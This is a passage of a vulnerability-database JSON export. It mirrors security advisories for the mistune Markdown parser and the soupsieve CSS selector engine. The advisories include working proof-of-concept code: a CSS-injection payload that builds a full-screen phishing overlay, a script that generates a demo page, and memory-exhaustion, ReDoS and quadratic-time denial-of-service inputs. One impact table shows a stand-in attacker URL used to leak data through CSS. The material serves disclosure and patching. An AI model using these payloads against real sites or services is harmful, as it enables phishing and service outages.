anchor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44898"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/04880a0"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44899","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-ccfx-mfmx-2fx9","CVE-2026-44899","PYSEC-2026-2209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune Image Directive CSS Injection Vulnerability","details":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same — prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += ' width=\"' + width + '\"'   # safe: integer → HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n<div class=\"block-image\"><img src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /></div>\n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n<div class=\"block-image\"><img src=\"x.jpg\" alt=\"⚠ CSS INJECTED — click to dismiss ⚠\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /></div>\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `<img>` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:<value>;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  → overlay sits above the entire page\n#   top/left/width/height → covers 100 % of the viewport\n#   background-color:#e11d48 → vivid crimson fill\n#   outline:8px solid #facc15 → bright yellow border\n#   color:#fff → white alt-text label\n#   z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f'<div class=\"sandbox\">{out}</div>'\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{header} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ live render (sandboxed to preview box)</div>\n      <div class=\"rendered\">{sandbox}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>\n<h1>H6 — Image Directive CSS Injection</h1>\n<p class=\"desc\">\n  <code>_parse_attrs()</code> in <code>directives/image.py</code> validates\n  <code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>\n  (prefix-only — no <code>$</code> anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a <code>style=</code> attribute.\n  A single <code>:width:</code> option is sufficient to smuggle an arbitrary\n  CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.\n</p>\n<div class=\"warn\">\n  ⚠ The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the <em>entire browser window</em>.\n</div>\n{case(\"baseline\",\n      \"Integer dims → clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline → full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44899"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49476","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-2wc2-fm75-p42x","CVE-2026-49476","PYSEC-2026-3071"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector â€” this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488Ã— |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49477","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:19Z","upstream":["GHSA-836r-79rf-4m37","CVE-2026-49477","PYSEC-2026-3072"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@4.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"4.1","key":"pkg:pypi/soupsieve@4.1","resource":"soupsieve"}]},"summary":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for >3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-49851","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-qcq2-496w-v96p","CVE-2026-49851","PYSEC-2026-2652"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":" Mistune: Potential DoS via quadratic-time parsing in parse_link_text","details":"### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py → **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) × O(n) = O(n²) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n<img width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" />\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n<img width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" />\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n²) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49851"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-49851"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492304"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59922","published":"2026-08-13T16:35:11Z","modified":"2026-11-14T10:56:15Z","upstream":["GHSA-c8j7-8cv4-2xmq","CVE-2026-59922","PYSEC-2026-2210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.4.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.4.0","key":"pkg:pypi/mistune@3.4.0","resource":"mistune"}]},"summary":"Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)","details":"## Summary\n\n**Type:** Algorithmic-complexity denial of service. A run of N closed pairs `~~x~~~~x~~...` (or the analogous `==x==` for `mark`, `^^x^^` for `insert`) causes O(N²) work in the formatting parser. With the `strikethrough`, 